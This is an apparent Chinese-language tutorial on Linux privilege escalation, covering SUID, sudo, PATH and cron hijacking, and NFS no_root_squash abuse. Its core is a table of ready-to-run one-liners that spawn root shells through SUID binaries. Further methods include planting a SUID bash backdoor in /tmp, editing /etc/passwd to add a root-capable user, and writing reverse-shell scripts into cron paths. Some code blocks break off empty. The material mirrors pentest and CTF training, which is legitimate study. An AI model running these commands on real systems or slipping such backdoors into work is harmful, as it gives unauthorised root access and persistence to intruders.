linux提权-1
linux提权-1
《Linux提权方法论》
https://github.com/Getshell/LinuxTQ
提权网站:
https://gtfobins.github.io/
https://xz.aliyun.com/news/11110
信息收集
当前主机的操作系统
1 | hostnamectl |
当前主机的内核版本
1 | hostnamectl |
内核漏洞筛选:
MSF检测:
1 | run post/multi/recon/local_exploit_suggester |
提权脚本:
https://github.com/liamg/traitor
https://github.com/The-Z-Labs/linux-exploit-suggester
综合脚本:
https://github.com/peass-ng/PEASS-ng
https://github.com/diego-treitos/linux-smart-enumeration
1,SUID提权
SUID(Set ownerUserIDupon execution)是给予文件的一个特殊类型的文件权限。在Linux/Unix中,当一个程序运行的时候,程序将从登录用户处继承权限。
SUID被定义为给予一个用户临时的(程序/文件)所有者的权限来运行一个程序/文件。用户在执行程序/文件/命令的时候,将获取文件所有者的权限以及所有者的UID和GID。
查看文件是否具有SUID属性
1 | ls -al file(此为要查询的文件名) |
SUID提权利用原理
SUID(Set User ID)是对二进制程序进行的一种特殊权限设置,可以让二进制程序的执行者临时拥有文件属主的权限,也正是因为这个特性,假设我们以非 root 用户身份访问目标系统,并且我们发现启用了 suid 位的二进制文件,那么这些文件/程序/命令可以以 root 权限运行。
如何查找 SUID 文件
查找当前用户可利用的具有SUID的属性的质量
1 | find / -perm -u=s -type f 2>/dev/null |
常用指令提权方法:
命令 | 利用方法 |
---|---|
zsh | zsh |
xargs | xargs -a /dev/null sh -p |
watch | watch -x sh -c ‘reset; exec sh -p 1>&0 2>&0’ |
timeout | timeout 7d /bin/sh -p |
time | time /bin/sh -p |
tclsh | 1、tclsh 2、exec /bin/sh -p <@stdin >@stdout2>@stderr |
taskset | taskset 1 /bin/sh -p |
stdbuf | stdbuf -i0 /bin/sh -p |
strace | strace -o /dev/null /bin/sh -p |
ssh | ssh -o ProxyCommand=’;sh -p 0<&2 1>&2’ x |
setarch | setarch $(arch) /bin/sh -p |
rsync | rsync -e ‘sh -p -c “sh -p 0<&2 1>&2”’ 127.0.0.1:/dev/null |
rpm | rpm –eval ‘%{lua:os.execute(“/bin/sh -p”)}’ |
python | python -c ‘import os; os.execl(“/bin/sh”, “sh”, “-p”)’ |
php | 1、CMD=”/bin/sh” 2、 php -r “pcntl_exec(‘/bin/sh’, [‘-p’]);” |
nice | nice /bin/sh -p |
nano | 1、nano //运行nano程序 2、^R //按下ctrl-r 3、^X //按下ctrl-x 4、reset; sh -p 1>&0 2>&0 //输入下面的命令 |
more | 1、more /etc/profile 2、!/bin/sh -p |
logsave | logsave /dev/null /bin/sh -i -p |
less | less /etc/profile //读取文件,在底行输入!/bin/sh -p |
ksh | ksh -p |
ip | 1、ip netns add foo 2、ip netns exec foo /bin/sh -p 3、ip netns delete foo |
ionice | ionice /bin/sh -p |
git | git help status |
gimp | gimp -idf –batch-interpreter=python-fu-eval -b ‘import os; os.execl(“/bin/sh”, “sh”, “-p”)’ |
gdb | gdb -nx -ex ‘python import os; os.execl(“/bin/sh”, “sh”, “-p”)’ -ex quit |
ftp | ftp //在底行输入”!/bin/sh -p” |
flock | flock -u / /bin/sh -p |
find | find . / -exec “/bin/sh” -p |
expect | expect -c ‘spawn /bin/sh -p;interact’ |
env | env /bin/sh -p |
ed | ed //在底行输入”!/bin/sh -p” |
docker | docker run -v /:/mnt –rm -it alpine chroot /mnt sh |
dmesg | dmesg -H//在底行输入”!/bin/sh -p” |
csh | csh -b |
bash | bash -p |
awk | awk ‘BEGIN {system(“/bin/bash -p”)}’ |
perl | perl exec “/bin/bash”; |
Vi/Vim | vim.basic /etc/passwd 添加一个新的用户条目或修改现有用户条目的密码哈希,然后保存并退出。格式:newuser:$6$salt$hash:uid:gid:GECOS:home:shell 保存修改后的/etc/passwd文件,并以新用户身份登录或使用su命令切换到新用户。 |
cp | cp /bin/bash /tmp/bash //覆盖/bin/bash来创建一个后门 ;chmod u+s /tmp/bash;执行/tmp/bash -p可以获取一个root权限的shell |
确定要用的指令(以gdb为例),并输入利用指令
1 | gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit |
2,SUDO提权
SUDO权限是root把本来只能超级用户执行的命令赋予普通用户执行,系统管理员集中的管理用户使用权限和使用主机,配置文件:/etc/sudoers
3,PATH提权
需要结合SUID提权
以一个靶场为例:
当那些shell后,查找SUID存在第三方文件
/opt/statuscheck
1 | strings /opt/statuscheck //查看文件中含有的字符串 |
/opt/statuscheck存在执行
利用方式:
1 | cd /tmp |
根据此靶场就好理解了,将原生的内容劫持后,执行自己添加的到环境的内容
4,PATH劫持
查看定时任务:
1 | cat /etc/crontab |
发现定义了诸多环境变量,如果其任务有 未指定绝对路径的指令
1 | [root@izjf ~]# cat /etc/crontab |
发现定义了诸多环境变量,如果其任务有 未指定绝对路径的指令,如
1 | * * * * root shell.sh |
而且我们在其环境变量路径中可以进行写入操作,那么我们可以通过写入环境变量的靠前路径一个同名恶意文件从而导致环境变量劫持。
找到可写目录
1 | find / -writable 2>/dev/null |
比如在 /sbin 写入一个 反弹 shell 功能的 shell.sh,那么就可以造成提权。
4,定时任务提权
定时任务(cron job)可以用来设置周期执行的命令,提权的原理为计划任务以root权限运行,计划任务中的脚本其他用户有写入的权限,或者脚本所属组为其他用户,则可以进行计划任务提权。
1 | ls -l /etc/cron* |
如果我们有幸有权限能更改其中一个任务指定的脚本,就可以往脚本里添加如反弹 shell 等指令,从而提权.
5,NFS提权
NFS 是一种运行在端口 2049 上的网络文件共享协议,由服务器和客户端两个组件组成。共享目录是在 NFS 服务器上创建的,以便可以通过网络与其他 Linux 客户端共享文件,获得许可的用户可以将文件添加到共享中,然后与有权访问该目录的其他用户共享。
默认情况下,每个 NFS 共享均启用了 root_squash 功能,用以防止被共享的文件拥有 root:root 身份或特殊权限(即启用 root_squash 之后,共享文件均是 nobody:nogroup 身份)。而如果启用了 no_root_squash 功能,那么共享文件就可以以 root 的身份存在,我们将在本篇文章中看到,这很容易导致权限升级。
枚举 NFS 共享:
1,使用 Nmap 枚举 NFS 共享
2,使用 showmount 命令进行枚举
挂载 NFS 共享:
我们需要做的第一件事是在攻击者机器上创建一个挂载点,以便与共享进行交互。
1 | mkdir /mnt/nfs |
创建挂载点后,我们就可以挂载共享并将其链接到挂载点。
1 | mount -t nfs 192.168.1.5:/mnt/nfs ./nfs #攻击机执行 |
成功后,只要往本机的nfs文件放内容,对方的nfs上也会实时同步
利用:
1 | (root@kali)-[~/nfs] |
1 | find / -perm -u=s -type f 2>/dev/null |
注意:系统不同find命令也会不同,导致运行出错
解决:
1,用相同的系统拷贝/usr/bin/find
2,写一个c语言进行调用
1 | //shell.c |
将shell.c编译成可执行文件,
1 | gcc shell.c -o getshell |
赋SUID权限,再传入nfs中。
python脚本
1 | /usr/bin/python3 |